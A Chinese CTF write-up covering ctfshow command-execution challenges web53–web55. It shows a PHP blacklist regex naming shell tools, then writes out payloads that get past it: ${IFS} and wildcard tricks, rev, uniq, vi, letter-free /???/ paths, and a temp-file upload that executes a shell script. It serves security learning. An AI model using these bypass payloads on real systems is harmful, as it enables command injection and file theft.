ctfshow-web入门-命令执行(web53-web55)

2024-06-10 23:20

本文主要是介绍ctfshow-web入门-命令执行(web53-web55),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

1、web53

2、web54

3、web55


1、web53

这里的代码有点不一样,说一下这两种的区别:

(1)直接执行 system($c);

system($c);

这种方式会直接执行命令 $c 并将命令的输出直接发送到标准输出(通常是浏览器);不会返回命令的输出值,因此不能对输出结果进行进一步处理。

(2)使用一个参数来接受 system 的返回值后再输出它

$d = system($c);
echo "<br>".$d;

这种方式不仅会执行命令 $c,而且会将命令的最后一行输出结果赋值给变量 $d;然后通过 echo "<br>".$d; 将变量 $d 的内容输出到标准输出;如果命令产生了多行输出,只有最后一行会被存储在变量 $d 中并输出,而其他行会直接输出到标准输出。其中 "<br>" 是 HTML 标签,用于在网页中插入换行符。

比如我们执行一下 ls 看看效果:

?c=ls

输出结果为:

lsflag.php index.php readflag
readflag

我们题目代码是:

echo($c);
$d = system($c);
echo "<br>".$d;

因此会先输出我们传入的内容,即 ls;紧接着直接输出 ls 执行的结果 flag.php index.php readflag;system 函数返回命令输出的最后一行,执行结果最后一行是 readflag,所有 $d 的值是 readflag,前面还拼接了一个 "<br>",因此会换行输出。

这里还是放出了 $ 符,构造 payload 读取 flag.php:

?c=nl${IFS}fla\g.php

拿到 flag:ctfshow{1bcea82b-e31b-42ea-bdba-d21411b7e7de}

很好奇这个 readflag 是什么,于是读了一下,但是有乱码:

2、web54

preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)

其他都差不多,主要是这里使用了很多星号来匹配,比如 .*c.*a.*t.* ,只要内容顺序符合 ...c...a...t...就会被检测,不管在这三个字母前后或者中间有什么,都会匹配成功。

nl 被过滤掉了,我们可以使用 rev 反向输出。

并且这里通配符问号没有被过滤,构造 payload:

?c=rev${IFS}fla?.php

得到:}eb6e9b9a201f-cddb-1154-8606-9785878a{wohsftc

取倒序:

拿到 flag:ctfshow{a8785879-6068-4511-bddc-f102a9b9e6be}

在网上还看到了另一个命令:uniq

本来这个命令是用于去除相邻的重复行,但是我们也可以用它来输出文件内容。

构造 payload:

?c=uniq${IFS}f???.php

但是这里在这个通配符上面就有点讲究了,比如:?c=uniq${IFS}f?a?.php 可以,但是 ?c=uniq${IFS}fl??.php 就不行了,?c=uniq${IFS}fla?.php更不行。

目前不知道是什么原因,知道的可以解释下谢谢。

此外,还可以使用 vi 命令,构造 payload:

?c=vi${IFS}fla?.php

结果有乱码,但是可以在源码里找到 flag 

最后再来看题目提示给的 payload:

?c=/bin/?at${IFS}f???????

因为 Linux 有很多命令存放在 /bin/ 目录下,可以通过绝对路径来使用,并且支持通配符。

Linux 下万物皆文件

也就是说 cat 命令也可这样用:/bin/?at

3、web55

preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)

主要是过滤了字母,分号过滤了自增也不行,我试了取反但是不行,不知道是不是需要传给 eval 函数才可以还是什么原因,希望知道的师傅可以解释下。

在无字母 rce 里还有一个点:临时文件上传

做到这里勇师傅已经感觉到题目难度开始上来了,之前并未接触过这个类型的题,这里先参照题目提示的方法来:

通过post一个文件(文件里面是 sh 命令),在上传的过程中,通过 . (点)去执行执行这个文件。

上传的这个临时文件会保存在 /tmp/ 下,且文件名一定是 php 加上六个随机的字符,即 /tmp/php??????,这个临时文件还会有一个特性,就是这 6 个随机的字符会出现大写的情况,这也是我们的另一个利用点,利用大写字母区别于其他文件,我们使用匹配符:[@-[] 即可匹配到大写字母,大写字母位于 “ @ ” 与 “ [ ” 之间。

构造 post 数据包:文件后缀为 .html

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="https://9a129cb5-2611-4aaf-9b78-0424dd5b9ac2.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

双击打开如下图: 

构造用于上传的文件(sh命令):

我这里命名为 exp.txt,内容如下

#!/bin/sh
ls

上传我们构造的文件,使用 burpsuite 抓包(这里需要允许抓取本地的请求包):

发到重发器,添加 payload:

?c=.%20/???/????????[@-[]

%20 是空格,我们这里使用点执行我们上传的文件,从而去执行内容中的 sh 命令,该文件会传到 /tmp/phpxxxxxx ,过滤了字母我们使用通配符问号代替,主要匹配的特征是文件名结尾的大写字母,大写字母不一定随机出现在最后一位,可能需要多试几次。 

我们原本在上传的文件里写的是执行 ls 命令: 

修改 sh 命令,读取 flag.php: 

拿到 flag:ctfshow{17c927f3-8b30-4da0-a4e3-7c227b1dac83}

此外,在网上还看到了其他的做法:

(1)未过滤数字,利用 /bin/ 目录下的 base64 进行通配符匹配,构造 payload:

?c=/???/????64 ????.???

获得 flag.php 的 base64 编码:

解码拿到 flag:

(2)利用 /usr/bin/ 下的 bzip2 命令

先将 flag.php 压缩,构造 payload:

?c=/???/???/????2 ????.???

bzip2 命令压缩后的文件后缀为 .bz2,因此这里压缩后文件名为:flag.php.bz2

访问该文件下载:

打开即可看到 flag:

这篇关于ctfshow-web入门-命令执行(web53-web55)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1049558

相关文章

从入门到精通C++11 <chrono> 库特性

《从入门到精通C++11<chrono>库特性》chrono库是C++11中一个非常强大和实用的库,它为时间处理提供了丰富的功能和类型安全的接口,通过本文的介绍,我们了解了chrono库的基本概念... 目录一、引言1.1 为什么需要<chrono>库1.2<chrono>库的基本概念二、时间段(Durat

Golang如何对cron进行二次封装实现指定时间执行定时任务

《Golang如何对cron进行二次封装实现指定时间执行定时任务》:本文主要介绍Golang如何对cron进行二次封装实现指定时间执行定时任务问题,具有很好的参考价值,希望对大家有所帮助,如有错误... 目录背景cron库下载代码示例【1】结构体定义【2】定时任务开启【3】使用示例【4】控制台输出总结背景

解析C++11 static_assert及与Boost库的关联从入门到精通

《解析C++11static_assert及与Boost库的关联从入门到精通》static_assert是C++中强大的编译时验证工具,它能够在编译阶段拦截不符合预期的类型或值,增强代码的健壮性,通... 目录一、背景知识:传统断言方法的局限性1.1 assert宏1.2 #error指令1.3 第三方解决

postgresql数据库基本操作及命令详解

《postgresql数据库基本操作及命令详解》本文介绍了PostgreSQL数据库的基础操作,包括连接、创建、查看数据库,表的增删改查、索引管理、备份恢复及退出命令,适用于数据库管理和开发实践,感兴... 目录1. 连接 PostgreSQL 数据库2. 创建数据库3. 查看当前数据库4. 查看所有数据库

从入门到精通MySQL 数据库索引(实战案例)

《从入门到精通MySQL数据库索引(实战案例)》索引是数据库的目录,提升查询速度,主要类型包括BTree、Hash、全文、空间索引,需根据场景选择,建议用于高频查询、关联字段、排序等,避免重复率高或... 目录一、索引是什么?能干嘛?核心作用:二、索引的 4 种主要类型(附通俗例子)1. BTree 索引(

如何使用Maven创建web目录结构

《如何使用Maven创建web目录结构》:本文主要介绍如何使用Maven创建web目录结构的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录创建web工程第一步第二步第三步第四步第五步第六步第七步总结创建web工程第一步js通过Maven骨架创pytho

Java Web实现类似Excel表格锁定功能实战教程

《JavaWeb实现类似Excel表格锁定功能实战教程》本文将详细介绍通过创建特定div元素并利用CSS布局和JavaScript事件监听来实现类似Excel的锁定行和列效果的方法,感兴趣的朋友跟随... 目录1. 模拟Excel表格锁定功能2. 创建3个div元素实现表格锁定2.1 div元素布局设计2.

linux重启命令有哪些? 7个实用的Linux系统重启命令汇总

《linux重启命令有哪些?7个实用的Linux系统重启命令汇总》Linux系统提供了多种重启命令,常用的包括shutdown-r、reboot、init6等,不同命令适用于不同场景,本文将详细... 在管理和维护 linux 服务器时,完成系统更新、故障排查或日常维护后,重启系统往往是必不可少的步骤。本文

如何使用Haporxy搭建Web群集

《如何使用Haporxy搭建Web群集》Haproxy是目前比较流行的一种群集调度工具,同类群集调度工具有很多如LVS和Nginx,本案例介绍使用Haproxy及Nginx搭建一套Web群集,感兴趣的... 目录一、案例分析1.案例概述2.案例前置知识点2.1 HTTP请求2.2 负载均衡常用调度算法 2.

Redis 配置文件使用建议redis.conf 从入门到实战

《Redis配置文件使用建议redis.conf从入门到实战》Redis配置方式包括配置文件、命令行参数、运行时CONFIG命令,支持动态修改参数及持久化,常用项涉及端口、绑定、内存策略等,版本8... 目录一、Redis.conf 是什么?二、命令行方式传参(适用于测试)三、运行时动态修改配置(不重启服务